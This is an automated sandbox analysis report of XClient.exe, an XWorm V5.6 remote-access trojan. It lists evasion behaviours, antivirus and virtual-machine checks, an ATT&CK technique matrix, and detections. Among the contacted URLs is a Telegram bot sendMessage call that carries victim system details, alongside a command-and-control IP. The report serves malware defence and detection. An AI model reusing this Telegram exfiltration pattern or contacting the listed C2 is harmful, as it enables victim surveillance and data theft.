Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\XClient.exe	Memory allocated: EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Memory allocated: 1ADC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Memory allocated: 7B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Memory allocated: 1A400000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\XClient.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\XClient.exe

Window / User API: threadDelayed 9625

Jump to behavior

Source: C:\Users\user\Desktop\XClient.exe TID: 7052	Thread sleep time: -3689348814741908s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe TID: 6212	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\XClient.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: XClient.exe, 00000000.00000002.2405666189.000000001BA1F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\XClient.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\XClient.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\XClient.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\XClient.exe	Queries volume information: C:\Users\user\Desktop\XClient.exe VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\XClient.exe	Queries volume information: C:\Users\user\Desktop\XClient.exe VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\XClient.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: XClient.exe, 00000000.00000002.2406664029.000000001D0D0000.00000004.00000020.00020000.00000000.sdmp, XClient.exe, 00000000.00000002.2406664029.000000001D0E2000.00000004.00000020.00020000.00000000.sdmp, XClient.exe, 00000000.00000002.2405666189.000000001B9FF000.00000004.00000020.00020000.00000000.sdmp, XClient.exe, 00000000.00000002.2405666189.000000001BA1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: XClient.exe, 00000000.00000002.2406664029.000000001D0E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ogramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: XClient.exe PID: 6524, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: XClient.exe, type: SAMPLE
Source: Yara match	File source: 0.0.XClient.exe.9b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1140164033.00000000009B2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: XClient.exe PID: 6524, type: MEMORYSTR

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: XClient.exe PID: 6524, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: XClient.exe, type: SAMPLE
Source: Yara match	File source: 0.0.XClient.exe.9b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1140164033.00000000009B2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: XClient.exe PID: 6524, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Disable or Modify Tools	1 Input Capture	121 Security Software Discovery	Remote Services	1 Input Capture	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Obfuscated Files or Information	LSA Secrets	13 System Information Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	14 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
XClient.exe	76%	ReversingLabs	Win32.Exploit.Xworm
XClient.exe	100%	Avira	TR/Spy.Gen
XClient.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
144.48.105.119	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/botYour_Token/sendMessage?chat_id=6170564111&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A7711B137F8E174C9CF15%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20ZLSGWO%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6	false		high
144.48.105.119	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot	XClient.exe	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	XClient.exe, 00000000.00000002.2402286197.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
144.48.105.119	unknown	Singapore		63018	DEDICATEDUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582524
Start date and time:	2024-12-30 20:13:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	XClient.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/0@1/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 12 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 184.28.90.27
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target XClient.exe, PID 4992 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: XClient.exe

Simulations

Behavior and APIs

Time	Type	Description
14:13:41	API Interceptor	6442370x Sleep call for process: XClient.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	iviewers.dll	Get hash	malicious	LummaC	Browse
	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	INQUIRY.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	tg.exe	Get hash	malicious	Babadeda	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	iviewers.dll	Get hash	malicious	LummaC	Browse	149.154.167.220
	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse	149.154.167.220
	INQUIRY.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	tg.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	tg.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	setup.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	BHgwhz3lGN.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	iviewers.dll	Get hash	malicious	LummaC	Browse	149.154.167.220
	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse	149.154.167.220
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://linkenbio.net/59125/247	Get hash	malicious	Unknown	Browse	149.154.167.99
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	installer.bat	Get hash	malicious	Vidar	Browse	149.154.167.99
	skript.bat	Get hash	malicious	Vidar	Browse	149.154.167.99
DEDICATEDUS	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.87.151.159
	TRC.arm7.elf	Get hash	malicious	Mirai	Browse	74.201.216.32
	meow.arm.elf	Get hash	malicious	Unknown	Browse	194.26.25.141
	meow.arm5.elf	Get hash	malicious	Unknown	Browse	194.26.25.7
	la.bot.arm-20241006-1050.elf	Get hash	malicious	Unknown	Browse	200.220.163.218
